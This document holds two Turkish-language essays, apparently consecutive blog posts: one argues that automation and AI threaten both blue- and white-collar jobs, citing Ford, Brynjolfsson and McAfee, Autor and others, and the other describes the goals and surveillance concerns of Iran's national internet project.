Ancak Sabri patronuna “bundan yalnızca kentlerin, kasabaların dışında, yarı aç, yarı tok, yarı çıplak insanları, bir zamanların yılkı atları gibi yaşayanları” anlamaması gerektiğini söyler. Tüm ücretli çalışanlar birer potansiyel yılkı insanıdır; yılkı adamlarının arasında mimarlar, mühendisler, öğretmenler de vardır. Bir yandan eğitim masrafları nedeniyle okur yazarlık oranı yirminci yüzyılın çok gerisindedir. Diğer yandan en ufak işler için diploma istenmektedir; en sıradan temizlik aygıtını kullanmak belli bir bilgi birikimi gerektirmekte ve en sıradan emekçilerin bile yüksek okul diploması vardır. Sabri bu durumu “her işe uygun makineler aramadığınız kadar, bu yüzden adam gereksinimi her geçen gün biraz daha azalıyor. Makineler geliştikçe, tepelerinde fazla adam istemez oldular; öte yandan, bu çok gelişmiş makinelere göre adam bulmak her geçen gün zorlaşıyor” diye açıklamaktadır. Bir beyaz yakalının işsiz kalıp yılkı insanlarına katılması sık gözlenen bir durumdur.

Tahsin Yücel’in Gökdelen’i gidişatımızı anlatan çarpıcı bir kitap. 1984 ya da Cesur Yeni Dünya büyük bir ihtimalle bu koşullarda oluşacak. Ama özellikle Sabri’nin sözlerine dikkat çekmek isterim: makinelerin insan gereksinimini her geçen gün azaltması ve bu makinelerin geliştikçe tepelerinde insan istemez olması… Kitabın ilk baskı yılı 2006 ama son yıllarda, özellikle de 2008 krizinden sonra benzer sözlerin çok sayıda iktisatçı ve teknoloji uzmanı tarafından dile getirildiğine şahit oluyoruz.

İnsan gibi düşünen ve dünyayı ele geçirmesinden korkulan robotları şimdilik bir kenara bırakalım. Bunun nedeni konuyu sadece bilim kurgunun ilgi alanı olarak görmem değil. “Büyük insanlık” için Gökdelen’dekine benzer bir geleceğin daha yakın ve gerçek bir tehdit olması. “Büyük insanlık” bu olasılığı ortadan kaldırırsa robotların dünyayı ele geçirip geçiremeyeceğini tartışabiliriz. Dolayısıyla konu şimdilik “büyük insanlık”ın dışındakileri, gelecekte robotlarla baş başa kalabilecekleri ilgilendiriyor.

Sabri’nin sözleri bugünkü iki eğilime işaret ediyor. Robotların insanların yerini alması ve karmaşıklaşan sistemin daha kalifiye bir iş gücüne ihtiyaç duyması. Robotların insanların yerini alıp almayacağı konusu bir süredir tartışılan ve iktisatçıları geçmişteki düşüncelerini tekrar gözden geçirmeye zorlayan bir konu. Çünkü yaygın düşünce, teknolojin bazı işleri ortadan kaldırırken yeni işler yarattığıydı. Ünlü iktisatçı Joseph Schumpeter’in ifade ettiği gibi kapitalist sistem, kendi iç kaynakları sayesinde sürekli bir devrim ve yenilenme içindeydi ve bu devingen süreklilik eskiyi yok ederken yeniyi yaratıyordu. Schumpeter’in “yaratıcı yıkım” olarak adlandırdığı bu durum kapitalist gelişmenin temeliydi. Tarım aletleri çağdaş tarım makinelerine, su değirmeni modern su tribünlerine, posta arabaları uçaklara dönüşürken eski meslekler tarih sahnesinden silinmiş ve yeni meslekler doğmuştu. 1990 sonrasında bilişim teknolojileri üzerine de çok sayıda örnek vardı.

Bilgisayarlar imalattan karar almaya kadar hızlı bir şekilde üretim süreçlerine dahil oluyor. Bu “yaratım” sürecinde yeni işler ortaya çıkıyor. Fakat istatistikler yıkım sürecinin çok daha hızlı işlediğini gösteriyor ve geçmişte olduğu gibi teknoloji bir kez daha sanık sandalyesine oturtuluyor. Teknolojinin bugünkü işsizliğe etkisi ve robotların gelecekte işsizliğe neden olup olmayacağı tartışılıyor. “Korkulanın aksine insanların işsiz kalmayacağını, robotların rutin ve basit işleri devralarak, insanların daha yaratıcı, fark yaratan ve önemli işlerle ilgilenmelerini sağlayacağını” (http://www.herkesebilimteknoloji.com/slider/robotlasacak-19-is-kolu) savunanların çok geç olmadan aksi yöndeki eleştirilere de kulak vermeleri gerekiyor. İşin ironik yanı bilişim teknolojilerinin farklılığını, yeni bir devrimin içinde olduğumuzu, eski kavramların ve açıklamaların yeterli olmadığını savunan teknoloji havarilerinin kalıpsal bir yaklaşımla geçmişte teknolojinin işsizliğe yol açtığı hakkındaki eleştirilere karşı yapılan savunmaları bugün de tekrarlıyor olmaları ve insanlara işsiz kalmamaları için çağa ayak uydurmalarını öğütlemeleri. Acaba bugün geçmişteki teknolojik gelişmelerden farklı bir durum olabilir mi?

İkinci Dünya Savaşı’ndan sonra verimlilik ve ücretlerdeki artış arasında bir paralellik ilişkisi gözlenirken 1970’lerin ortalarından sonra aynı ilişkinin gözlenememesi başlıca tartışma konularından biri (bkz. Grafik 1 ve Grafik 2). 2010 yılının başında Washington Post’ta yayınlanan bir yazıda (http://www.washingtonpost.com/wp-dyn/content/article/2010/01/01/AR2010010101196.html) ise son 10 yılda yeterli yeni iş yaratılmadığı ve önceki on yıllarla karşılaştırıldığında bunun endişelendirici bir durum olduğu belirtiliyor (bkz. Grafik 3).

 

Grafik 1: 1948-2010 (ABD)Grafik 1: 1948-2010 (ABD)

 

Grafik 2: Verimlilik ve gerçek ücretlerGrafik 2: Verimlilik ve gerçek ücretler

 

Grafik 3: ABD'de yaratılan net işGrafik 3: ABD’de yaratılan net iş

Ford’a (2015) göre 1947’den 1973’e kadar altın bir çağ yaşandı. Özellikle kimya, makine ve havacılık mühendisliğindeki yenilikler ve hızla yükselen verimlilik işçileri daha değerli yaptı ve pazarlık masasına daha güçlü oturabildiler. 1980’lerdeki inovasyon ise daha çok bilişim teknolojileri sektöründe yoğunlaştı. Diğer teknolojilerden farklı olarak bilişim teknolojileri, uygun vasıflardaki işçilerin önünü açarken bazı mesleklerin vasıfsızlaşmasına neden oldu. Bu eğilim, 1990’larda da devam etti. 1990’ların ikinci yarısında, İnternet’in etkisiyle ücretlerde bir iyileşme görüldü. Ama bu iyileşme verimlilik artışının yine gerisindeydi. 2000’li yıllarda ise 1990’lardaki iyi işlerin çoğu otomasyon sistemleri ya da işlerin sınır ötesine taşınmasıyla ortadan kalktı. Şimdi de kurumlar kendi BT departmanlarını küçülterek bulut bilişim merkezlerinden hizmet satın almaya başladılar. ABD’de dört yıllık üniversite mezunlarının ücretleri lise mezunlarınınki ile karşılaştırıldığında hala çok daha yüksek. Fakat Ford (2015) sadece lisans derecesine sahip çalışanların ücretlerinin 2000 ve 2010 yılları arasında %15 düştüğünü belirtiyor. Lisans mezunlarının ücretlerdeki bu gerilemede 2008 krizinin de etkisi var. Ancak öncesinde de bir gerileme eğilimi söz konusu.

Tüm bu olumsuzlukların nedeni bilişim teknolojileri olabilir mi?

Küreselleşme, finansal sektördeki büyüme ve politikanın (serbestleşme ve örgütlü emekteki gerileme) da bu olumsuz süreçte katkısı olabilir. Teknoloji uzmanları bilfiil akıllı makinelerin geleceği hakkında düşünüp yazmış, bu makinelerin insan iş gücünün yerini alacağı, kalıcı ve yapısal işsizliğe neden olacağı endişesi duyduklarını belirtmişlerdir. Örneğin sibernetiğin babası sayılan Norbert Wiener daha 1949’da otomasyonun istihdama olumsuz etkileri konusunda uyarmaktadır. Fakat bu ve benzer uyarılar iktisatçılar tarafından fazla ciddiye alınmaz. Aynı şikayetler 1960’ta, 1990’ların başında da dillendirilir. Ama bir süre sonra yanlış alarm olduğu anlaşılır. Ancak son yıllarda durum değişmiş, en azından bir acaba ortaya çıkmıştır.

MIT’den Erik Brynjolfsson ve Andrew McAfee (2014), son 10-15 yıldaki istihdam sorunun arkasında endüstriyel robotlardan otomatik çeviri servislerine kadar bilgisayar teknolojisindeki ilerlemelerin olabileceğini, üstelik yalnız imalat, büro ve perakende işlerinde değil hukuk, sağlık, eğitim ve finansal hizmetlerdeki meslekler üzerinde de kara bulutlar dolaştığını belirtiyorlar. Brynjolfsson ve McAfee (2014), son yıllardaki büyümenin arkasında BT’nin olduğundan emin oldukları kadar iş sayısındaki zayıf artışta da teknolojik gelişmelerin etkili olduğunu ve teknolojideki hızlı değişimin ABD gibi teknolojide ileri ülkelerde eşitsizliği büyüttüğünü düşünüyorlar. İşleri kolaylaştıran, daha güvenli ve üretken yapan bilişim teknolojileri aynı zamanda çok farklı türdeki “insan” işçilere olan talebi azaltıyor. Otomasyonun ve robotların kullanımı yalnız mavi yakalı işçileri tehdit etmiyor. Web, yapay zeka, büyük veri ve ileri mantıksal analizle birçok beyaz yakalı mesleğini ortadan kaldırma potansiyeline sahip olan “insan zekasının dijitalleşmiş versiyonları” gelişiyor.

Harvard’dan Richard Freeman (2015) ise daha temkinli yaklaşıyor. Yeni işlerin yaratılmasındaki yavaşlığın küresel ticaretteki gelişmeler veya 2000’li yıllardaki finansal krizler gibi farklı biçimlerde de açıklanabileceğini çünkü teknolojinin etkilerini diğer makro ekonomik etkilerden ayrıştırmanın zor olduğunu söylüyor. “Kıyaslamalı rekabet” teorisine dayanarak insanların işsiz kalmayacağı söylenebilir. Bu teoriye göre Ali hem çok iyi bir cerrah hem de çok iyi bir marangoz olabilir. Ahmet ise Ali kadar olmasa da yine de iyi bir marangozdur. Ama Ali hastanedeki işlerinin yoğunluğu nedeniyle evinin dolaplarını Ahmet’e yaptıracaktır. Bu teoriye dayanarak, robotlar insanları işinden etse de insanların yine yapacak işi olacağını söyleyen iktisatçılar vardır. Ancak insanların yeni işleri için alacakları ücret daha az olacaktır. Bu nedenle, işsizlik konusunda kuşkulu olan Freeman (2015), ücretler konusunda iyimser değildir.

MIT’den David Autor (2010) da Freeman gibi 2000 yılından beri istihdamda bir azalma olduğunu kabul eden ama bunu doğrudan teknolojiyle ilişkilendirmeyen iktisatçılardan. Autor’a göre tüm sorun ekonomik durgunluktan kaynaklı olabilir. Yeni işlerin yaratılmasındaki yavaşlık hala gizemini korumakta ve bunu bilgisayarlara bağlamak için iktisatçıların elinde yeterli delil yok. Ancak Autor da ücretlere dikkat çekiyor. Bilgisayarlar var olan işleri değiştiriyorlar ve bu değişim her zaman iyi yönde olmuyor. 1980’lerden sonra bilgisayarlar özellikle muhasebe, büro işleri ve imalattaki tekrarlı işler gibi orta sınıf ücreti sunan görevleri devralmaya başladılar. Bu dönemde bir yandan yaratıcılık ve çoğu zaman bilgisayar destekli problem çözme yeteneği gerektiren yüksek ücretli işler hızla çoğalırken diğer yandan restoran çalışanı, apartman görevlisi, evde hasta bakıcı gibi otomatikleştirilmesi zor olan düşük vasıflı işçilere talep arttı. Dolayısıyla ekonomik durgunluk döneminde eski işlerin yok olup toparlanma dönemlerinde yerini yeni işlere bırakıyor olması kısmen doğru. Bu toparlanma döneminde orta gelirlilerin ufak bir kısmı (nitekim çoğu orta gelirli üst gelirli işler için yeterli eğitime sahip değil) üst gruba taşınırken daha büyük bir kısmı alta itiliyor ve bir kutuplaşma oluşuyor. 2007-2009 yılları arasındaki ekonomik durumun, bu yıkım sürecini artırdığı söylenebilir ama bu, öncesinde de var olan ve hala devam eden bir eğilim.

Yalnız iktisatçılar değil, teknoloji havarileri de sürekli yaratıcı yıkımdan, yıkıcı inovasyondan ve teknolojinin getirilerinden söz ediyorlar. 1700’lerde başlayan sanayi devriminin işlerin doğasını değiştirdiği, bazı işleri ortadan kaldırdığı, 1900’de ABD nüfusununda %41’i tarım sektöründe çalışırken bu oranın 2000’de sadece %2. 2 olduğu doğru. Fakat bu geçiş dönemlerinde yetenekleri işverenlerin gereksinimleriyle uyuşmayan işçiler için oldukça sancılı bir süreç yaşandığını ve yüksek vasıflı zanaatkarların yerini fabrikalardaki işçilere bıraktığını da atlamamak gerekiyor (Rotman, 2013). Bilişim teknolojileri, tarihteki örüntüyü devam ettirip eski işleri yıkarken yeni işler yaratıyor olabilir. Bu geçiş sürecinin öncelleri gibi işçi sınıfı için pek iç açıcı olmayacağı açık seçik ortada. Ama ya BT ekonomi tarihindeki örüntü devam ettirmiyorsa? Teknolojinin “rutin ve basit işleri devralarak, insanların daha yaratıcı, fark yaratan ve önemli işlerle ilgilenmelerini sağlamak” (http://www.herkesebilimteknoloji.com/slider/robotlasacak-19-is-kolu) için kullanılmadığını gösteren çok sayıda örnek var.

Rethink Robotics’in küçük ölçekli imalat tesislerinde kullanılmak üzere geliştirdiği Baxter adlı robot malzemeleri yükleme, indirme, sıralama ve taşıma için geliştirilmiş. Üretim hattındaki sıkıcı görevleri yerine getirmesi beklenen Baxter, küçük ve orta ölçekli şirketleri hedefliyor. Baxter’in benzerlerinden en büyük farkının çoklu ve daha karmaşık işleri yerine getirebilmesi için programcıların yeniden kodlamasına gerek kalmaksızın öğretilebilir olması. Ford (2015) Baxter gibi robotların rutin işleri yapan bazı işçilerin işlerini yok etmesinin yanında ABD’nin ücretlerin düşük olduğu ülkelerle rekabet edebilmesine yardımcı olabileceğini savunuyor. Nitekim hem teknolojik gelişmeler hem de 2005-2010 yılları arasında Çin’deki fabrikalarda çalışan işçilerin ücretlerinin neredeyse %20 artması sonucu bazı şirketler fabrikaları ABD’ye geri getirmeyi düşünmeye başladılar. İmalatın ABD’ye geri getirilmesi, taşımadan müşteri taleplerine anında cevap vermeye kadar çeşitli avantajlar sağlayacak. Dolayısıyla bu girişim şu an istihdamın %10’unu oluşturan imalattaki işlerin sayısını artırabilir, ABD iş piyasasına olumlu bir katkıda bulunabilir. Ama diğer yandan, ABD’nin bu hamlesi, 1995-2002 tarihleri arasında imalatta yer alan iş gücünün %15’ini kaybetmesine karşın istihdamın hala imalatta yoğunlaştığı Çin’de daha büyük sorunlar yaratabilir. Ayrıca aynı seçenek, Çin’de ucuz iş gücü üzerine kurulu şirketler için de geçerli. Örneğin elektronik imalat hizmetleri sektöründe faaliyet gösteren Foxconn 2012’de fabrikalarına bir milyon robot getirmeyi planladığını duyurdu. Ford (2015), Foxconn’un robotlarla esnek üretim süreçlerine daha kolay uyum sağlayabileceğini ve gelişen teknolojinin şirketin yeni gereksinimlerine yanıt verebileceğini söylüyor. Giyim ve ayakkabı imalatında daha ucuz iş gücü sunduğu için sermayenin Çin’den kendi ülkelerine göç etmesini sağlayan Vietnam ve Endonezya’da da benzer bir durum var. 2013’te Nike, ücretlerdeki yükselmenin finansal değerlerini olumsuz etkilediğini, “teknoloji ve inovasyon” ile emek maliyetlerini düşürme planları yaptıklarını duyurdu.

Hizmet sektöründe ise daha büyük bir yıkım gerçekleşiyor. Son yıllarda, bankaların ATM’ler ve diğer teknolojilerle şubesizleşmeye yöneldiğini gözlemleyebiliyoruz. Ancak aynı eğilim diğer alanlarda da söz konusu. Momentum Machines (http://momentummachines.com/) adlı şirket saatte 360 hamburger hazırlayıp müşterilerine sunuyor. Momentum Machines’in kurucularından Alexandros Vardakostas, dürüst (!) bir şekilde cihazlarının çalışanları daha verimli yapmayı hedeflemediğini, onları devreden çıkarmak istediğini söylüyor ve çalışan ücretlerinden tasarruf ederek restoranların daha kaliteli malzemeden yapılmış hamburgerleri aynı fiyata satabileceğini ekliyor. Sadece McDonald’s bile dünyaya yayılmış 34000 restoranında 1,8 milyon işçi çalıştırıyor. Geçmiş yıllarda, McDonald’s benzeri iş yerleri geçici bir süre çalışmak için tercih edilirken artık tam zamanlı iş arayıp bulamayanların da zorunlu olarak başvurduğu yerler. Örneğin 2011’de McDonald’s tarafından verilen bir iş ilanında 50000 açık pozisyon olmasına rağmen sadece bir günde bir milyonun üzerinde başvuru gelmiş. Momentum Machines’in geliştirdiği sistem fast food sektöründe yaygın olarak kullanılmaya başlanırsa ne olacak?

Japonya’da, 262 sushi restoranından oluşan Kura adlı bir restoran zincirinde çalışanların yerini bir otomasyon sistemi almış. Siparişler dokunmatik panellerden alınıyor, bir taşıma bandıyla müşterilere ulaşıyor, son kullanma süresi geçen ürünler otomatik olarak devreden çıkarılıyor, ücretin ödenmesi ve masanın temizlenmesi yine insansız bir sistemle gerçekleştiriliyor (https://www.youtube.com/watch?v=Ka8PDhbXj_c). Elbette tasarruf konusunda restoran müdürlerinin tasfiyesi de atlanmamış. Her restoranda bir müdür görevlendirmek yerine restoranlardaki işleyiş merkezi bir sistemden takip edilebiliyor. Bunun sonucunda Kura, rakiplerinden çok daha ucuza sushi satarak diğer restoranların (en azından şimdilik) önüne geçiyor.

Ford’un (2015) perakende sektöründeki istihdam hakkında ise üç önemli tespiti var. Birincisi, Amazon, eBay ve Netflix gibi büyük mağazalara aktarılan işler ortadan kalkmadığı, sadece değişen koşullara göre yeniden düzenlendiği görüşü yaygın. Ancak Ford (2015) bunun sadece teoride kaldığını düşünüyor. Pratikte bu işler otomasyona (dolayısıyla ortadan kaldırılmaya) daha uygun hale geliyorlar. Örneğin Amazon, büyük ambarlar için robot üreten Kiva Systems’i satın aldıktan sonra geliştirilen robotları kendi ambarlarında kullanmaya başladı (https://www.youtube.com/watch?v=_J0QZxNjBu4). Amazon’dakine benzer bir süreç ABD’nin en büyük perakendecilerinden Kroger’da da yaşanıyor. İkincisi, tamamen otomatikleştirilmiş self servis akıllı kiosklar ve otomatik satış makinelerinin yaygınlaşması. Bu akıllı makineler geleneksel perakende satış işlerini önemli ölçüde azaltacak ve sanıldığı gibi cihazların bakımı ve tamiri için yıkımı karşılayabilecek sayıda yeni iş ortaya çıkmayacak. Bu makineler çoğunlukla İnternet’e bağlı, uzaktan izleniyorlar ve herhangi bir sorunda merkezden müdahale ediliyor. Daha önemlisi işletmede gerekli olabilecek emek maliyetini olabildiğince kısmak amacıyla tasarlanmışlar. Üçüncüsü geleneksel (İnternet’te faaliyet göstermeyen) iş yerlerinin rekabet edebilmek için otomasyon ve robotlara başvuruyor, yeni çözümler geliştiriyor olması. Örneğin Walmart’ta müşterilerin kasa kuyruğuna girmediği ve barkodları telefonlarına okutup ödeme yaptığı sistemler deneniyor (http://www.reuters.com/article/us-walmart-iphones-checkout-idUSBRE8851DP20120906). Perakende sektöründeki bu gelişmelerin sonucunda yalnız robotların ve otomasyon sistemlerinin sayısı artmayacak, iş sayısı da önemli ölçüde azalacak.

Tüm bu gelişmelerin kendisinden çok uzak olduğunu, çünkü rutin bir iş yapmadığını düşünen çok sayıda beyaz yakalı olduğunu tahmin etmek zor değil. Ayrıca günümüzde bilişim teknolojileriyle yaratılan mucizeleri içeren çeşitli hikayelerde başarısız olmanın (daha doğrusu işsiz kalmanın ya da teknolojiyi paraya çevirememenin) kişinin kendi kusuru olduğu gibi bir hava yaratılmakta. Örneğin, Kerala’daki balıkçıların mobil telefonlarını kullanarak balıklarını nasıl en iyi fiyata sattıklarının öyküsü anlatılıyor (http://www.economist.com/node/9149142). Fakat kazananın her şeyi aldığı bilişim teknolojileri sektöründe (bir uygulama geliştirip köşeyi dönenler hakkında anlatılan tüm hikayelere karşın) yetenekli programcıların büyük bir kısmı için bile kayda değer bir gelir elde edebilmek zor. Ford (2015), robotlar ve self servis teknolojilerin düşük ücretli işleri ortadan kaldırması gibi giderek daha akıllı hale gelen algoritmaların da yüksek ücretli işleri tehdit ettiğini vurguluyor.
Örneğin haber siteleri günlük gazetelerin yerini almaya başladığında bunu sadece bir ortam değişikliği olarak değerlendirdik. Fakat bunun bir adım ötesinde, eldeki verilerden otomatik olarak makale üreten yazılımlar var. Narrative Science şirketinin geliştirdiği Quill adlı yazılım (https://www.narrativescience.com/quill), spordan politikaya kadar eldeki verileri derleyip dil bilgisi ve anlam yönünden hatasız, okunaklı makaleler üretebiliyor. Quill’in ürettiği makaleler, şu anda Forbes dergisi dahil dünyanın önde gelen dergilerinde kullanılıyor. Benzer yazılımlar, otomatik olarak, kişiselleştirilmiş e-postalar atabiliyor, sosyal medya mesajları yayımlayabiliyor. Kişiselleştirilmiş e-posta derken, alıcının ad ve soyadına uygun e-postalar yazmaktan söz etmiyorum. e-Postayı yazan kişinin önceki yazışmaları analiz edilerek benzer üslupta mesajlar üretilebiliyor.

Yapay zekanın büyük veri ile birleşmesiyle sistemler önceki verilerden öğrenebiliyorlar. Örneğin Google’ın sürücüsüz otomobilinde uygulanan strateji beyaz yakalı birçok iş için de uygulanabilir. Otomobili kullanan yazılım insanı taklit etmiyor, farklı bir strateji uyguluyor. Sürekli gerçek zamanlı veriyle besleniyor ve bununla arabanın hareketleri belirleniyor. Fakat otomobil devasa bir tarihsel veri yığınından öğreniyor. Ford (2015) aynı stratejinin bir çok beyaz yakalı işi içinde uygulanabileceğini savunuyor: Önce tarihsel veri yığınından rutin adımları belirlemek, sonra da beklenmedik durumlara karşı kendi kendine öğrenen bir sistem yaratmak. 1997 yılında saniyede 200 milyon pozisyon deneyebilen Deeper Blue, dünya satranç şampiyonu Garry Kasparov’u tartışmalı bir maç sonunda yendiğinde çok heyecanlanmıştık. Bu bize IBM’in çok güçlü bilgisayarları olduğunu gösteriyordu ama bunun ne işe yarayacağı belirsizdi. Fakat 2011 yılında Jeopardy! adlı bilgi yarışmasında IBM’in Watson adlı bilgisayar sisteminin eski şampiyonları devirip yarışmayı kazandıktan sonra yapay zeka ve büyük veri birlikteliğinin neler yapabileceği daha net görülebiliyor (https://www.youtube.com/watch?v=WFR3lOm_xhE). Örneğin Watson benzeri bilgisayar sistemleri tıpta hastalıkların teşhisinde kullanılabilir. Tüm uzmanlıkları kendinde toplayan bir sistem tıpta uzmanlaşmanın yarattığı zorlukları aşabilir, tek bir alanda uzman doktorun görmesinin olanaksız olduğu ilişkileri fark edebilir, bir doktordan daha hızlı ve doğru teşhis koyabilir, ama birçok doktoru da daha düşük ücretle çalışmaya zorlayabilir. Finans konusunda kullanıcıya tavsiyelerde bulunabilir. IBM’in Ross adlı robotu ise şimdilik sadece avukatlara yardımcı oluyor ve birçok hukuk şirketi bu robottan satın almak için sıraya girmiş durumda (http://www.ntv.com.tr/teknoloji/ilk-robot-avukat-goreve-basliyor,0cvqy_XBnUesBjsVu1izQQ). Doktoru da, hukukçuyu da kendi ücretli emekçisi haline getiren sistem, şimdi onların yerine robotları koymaya çalışıyor.

***

Kısacası, ekonomi tarihindeki örüntülerden yola çıkarak aynı senaryonun tekrarlanacağı, ortadan kaldırılan işlerin yerini yenilerinin alacağı öngörüsünü sağlıklı bulmuyorum. Ford’un (2015) yaptığı gibi var olan teknolojilerin uygulama alanları, sektörlerde yarattığı değişim, bilimsel araştırmaların yönelimleri incelense ve tarihteki örneklerle karşılaştırılsa çok daha faydalı olacak. Eğer ortaya şu anki uygulamaların ve teknoloji politikalarının işsizliği artırdığı yönünde güçlü delillere ulaşılabilirse buna karşı politikalar üretilebilir.

Ancak sorunun kaynağının da aynı yerde saklı olduğunu düşünüyorum. Otomasyon sistemleri ve robotlar işimizi elimizden almıyor çünkü teknoloji tarafsız değil ve gökten zembille inmiyor. Şirketlerin çıkarları, hükümetlerin yönlendirmeleri ve tüketicilerin tercihleri ile şekilleniyor, teknolojinin oluşumunda içinde geliştiği koşullar etkili oluyor. Momentum Machines örneğinde olduğu gibi en başından işçi maliyetlerinden kısmak gibi bir hedef varsa teknolojinin gelişimi de bu yönde olacaktır. Watson gibi doğal dil işleyen ve büyük veriden yararlanan sistemlerin sonraki gelişimi daha kaliteli sağlık hizmeti verebilme yönünde olabilir. Ama aynı teknoloji çağrı merkezlerindeki işçi maliyetlerini azaltmak için de ilerletilebilir. Dolayısıyla sorun teknolojinin kendisinde değil içinde geliştiği koşullarlar ve gelişimine etkide bulunan aktörlerle ilgilidir. Belki de bilişim teknolojilerinin aşırı yıkıcılığı üretim ilişkilerinde de bir yıkım gerektiriyordur. Freeman’ın belirttiği gibi asıl sorun robotlara, daha genel anlamda teknolojiye kimin sahip olacağıdır. Eğer teknolojinin tek sahibi şu anda olduğu gibi yine dünyanın en zenginleri olursa Tahsin Yücel’in Gökdelen romanındaki gibi bir dünyaya hazırlıklı olmamız gerekiyor…
Kaynaklar

Autor, D. (2010). The polarization of job opportunities in the US labor market: Implications for employment and earnings. Center for American Progress and The Hamilton Project.

Brynjolfsson, E., & McAfee, A. (2014). The second machine age: Work, progress, and prosperity in a time of brilliant technologies. WW Norton & Company.

Ford, M. (2015). Rise of the Robots: Technology and the Threat of a Jobless Future. Basic Books.

Freeman, R. B. (2015). Who owns the robots rules the world. IZA World of Labor.

Rotman, D. (2013). How technology is destroying jobs. Technology Review, 16(4), 28-35.

 

 

Bildiğimiz İnternet’in sonu mu?

Ağustos ayı sonunda BBC Türkçe’de “İran milli internet ağı kurdu” başlıklı bir haber yayımlandı. Haberin devamında ise İran’ın milli internet kurma projesinin bütününün değil ama ilk aşamasının tamamlandığı belirtiliyordu. Milli internet fikri ilk kez 2010’da ortaya atılmış ve projenin 2015 yılında tamamlanması hedeflenmişti. Haberde İran hükümetinin ve muhaliflerin proje hakkındaki görüşlerine de yer veriliyordu. İran hükümeti, milli internetin “yüksek kalitede, hızlı ve az maliyetli” internet bağlantısı sağlayacağını iddia ederken muhalifler projenin iktidarın gözetim olanaklarını artıracağına dikkati çekiyorlardı (http://www.bbc.com/turkce/haberler-dunya-37212801). Yalnız İran’ın değil, yazının devamında tartışılan diğer aktörlerin de girişimleriyle İnternet yerini internetlere bırakıyor.

Öncesinde de tahmin ediliyordu, ama Arap Baharı’ndan sonra iktidarların ithal ettikleri teknolojilerle ülkelerindeki internet kullanıcılarını ayrıntılı bir biçimde gözetlediklerinden emin olduk. İran yönetiminin açıkça ifade ettiği gibi İran da milli bir ağ olmaksızın vatandaşlarının faaliyetlerini sürekli izleyip müdahale edebiliyordu. Pekâlâ milli internet ile hedeflenen ne? Sansürü daha derinleştirmeyi ve yaygınlaştırmayı mı hedefliyorlar? İngiliz insan hakları kuruluşu Article 19’a göre milli internetin, “İran halkını dünyanın geri kalanından ciddi bir biçimde tecrit etme, bilgiye erişimi sınırlama ve toplu eylem ve halk protesto girişimlerini engelleme riski var”. Article 19, gerçekleşme olasılığı oldukça yüksek de olsa, yalnızca bir riskten söz ediyor. Kuşkusuz milli internet, hükümetin gözetim gücünü artıracak ama projenin çok daha iddialı hedefleri var. Article 19’un, milli internete doğrudan cephe almamasının nedeni de bu hedefler. Article 19, Mart ayında yayımladığı bir raporda projeyi ayrıntılı bir biçimde tartışıyor (https://www.article19.org/data/files/The_National_Internet_AR_KA_final.pdf).

BBC, söz konusu haberde milli internet fikrinin 2010 yılında ortaya atıldığını yazmasına karşın rapora göre milli internet ilk kez 2005’te, Mahmud Ahmedinejad’ın cumhurbaşkanlığı döneminde konuşulmaya başlıyor. 2006 yılının başında Enformasyon ve İletişim Teknolojileri Bakanı Yardımcısı Abdulmajid Riazi’nin milli internet hakkında sunduğu raporda projenin bir milyar dolarlık bütçeyle ve üç yıl içinde tamamlanacağı yazıyor. Ancak milletvekilleri, projenin uygulanabilirliğine ikna olmadıkları için milli internet projesi 2010 yılına kadar rafa kaldırılıyor. 2010 yılında Enformasyon ve İletişim Teknolojileri Bakanlığı kamu kuruluşlarına, web sitelerinin altı ay içinde yerel sunuculara taşınması talimatını veriyor. Yine aynı yıl Ahmedinejad’ın Enformasyon ve İletişim Teknolojileri Bakanı ilk kez temiz internetten söz ediyor. Bakan konuşmasında, enformasyon ve iletişim teknolojilerinin beklendiği gibi barış ve dostluk getirmediğini, insanoğlunun yetkinliğini artırmadığını, Batı’nın bu ağları ahlaksız amaçları doğrultusunda kullandığını vurguluyor. Bu tarihten sonra, şimdilerde Milli İnternet olarak anılan ağ, SHOMA, Milli İç Ağ (National Intranet), Milli Enformasyon Ağı, Temiz İnternet, Helal İnternet gibi isimlerle karşımıza çıkıyor.

İranlılar 2010 yılında neden fikirlerini değiştirdiler?

Stuxnet (https://en.wikipedia.org/wiki/Stuxnet), internet üzerinden gerçekleştirilen bir saldırı olmasa da Stuxnet vakası İran’ın siber güvenliği daha ciddiye almasına neden oldu. İranlı yetkililer, Edward Snowden’ın 2013’te NSA (National Security Agency – ABD Ulusal Güvenlik Dairesi) faaliyetleri hakkındaki ifşaatlarından önce de Google ve Yahoo’yu bir arama motoru olarak değil, bir casus makinesi olarak görüyorlardı. Kullanıcıların ve kullanım pratiklerinin Amerikan şirketlerince gözetlenmesine ve kullanıcı verilerin yabancı sunucularda saklanmasına karşı itirazlarını ifade ediyorlardı. 2009’daki eylemler ve sosyal medyanın kullanımı da İran için uyarıcı oldu. Şimdi Google’da, o zamanlarda ABD Dışişleri Bakanlığı’nda çalışan Jared Cohen’in İran’daki eylemlerde Twitter kullanımının aksamaması için Twitter’ın CEO’su Jack Dorsey’i arayıp daha önce bakım gerekçesiyle geçici bir süre kapatılacağı duyurulan Twitter sunucularının bakımının ertelenmesini istediği hatırlanırsa İran’ın paranoyası daha anlaşılır olacaktır. Bunun yanında İranlılar, elektronik hizmetlerin dışarıya kapalı bir ağda verilmesinin siber saldırılara karşı daha güvenli olacağını düşünmekteler. 2013’te, Snowden’ın ifşaatlarından sonra, tüm dünyada olduğu gibi İran’da da İnternet altyapısının ABD’ye bağımlılığına karşı daha büyük bir tedirginlik ortaya çıktı.

Aşağıdaki hedeflerden de anlaşıldığı gibi İran hükümeti, bir yandan enformasyon ve iletişim teknolojileri ile ülkesini modernleştirmek diğer yandan da bunu yaparken dışarıya bağımlılığı en aza indirmek ve ülkesini dış müdahalelerden korumak istiyor. Projenin başlıca hedefleri şunlar:

  • Enformasyon ve iletişim teknolojilerinin İran’daki gelişimine güvenli ve gelişmiş bir zemin hazırlamak.
  • Halkı bilgilendirmek ve son e-hizmetleri iletmek için gerekli altyapıyı oluşturmak.
  • Enformasyonun saklanması ve iletimi ile hizmetler için ihtiyaç duyulan temeli kurmak.
  • İran’ın bölgesel veri iletiminde lider bir merkez olmasına zemin hazırlamak.
  • İnternet bağlantısı ile ilgili maliyet ve gideri kısmak.
  • IPv4’ten IPv6’ya geçerek IP sistemini modernleştirmek.

Proje tamamlandığında ise aşağıdaki teknik hedeflere ulaşılması planlanıyor:

  • İranlı kullanıcılara 20 Mbps bant genişliği sağlanması.
  • İşlemlerin %80’inin e-ödeme şeklinde olması.
  • Kamu kurumlarından kamu kurumlarına tüm hizmetler için elektronik çözümler sunması.
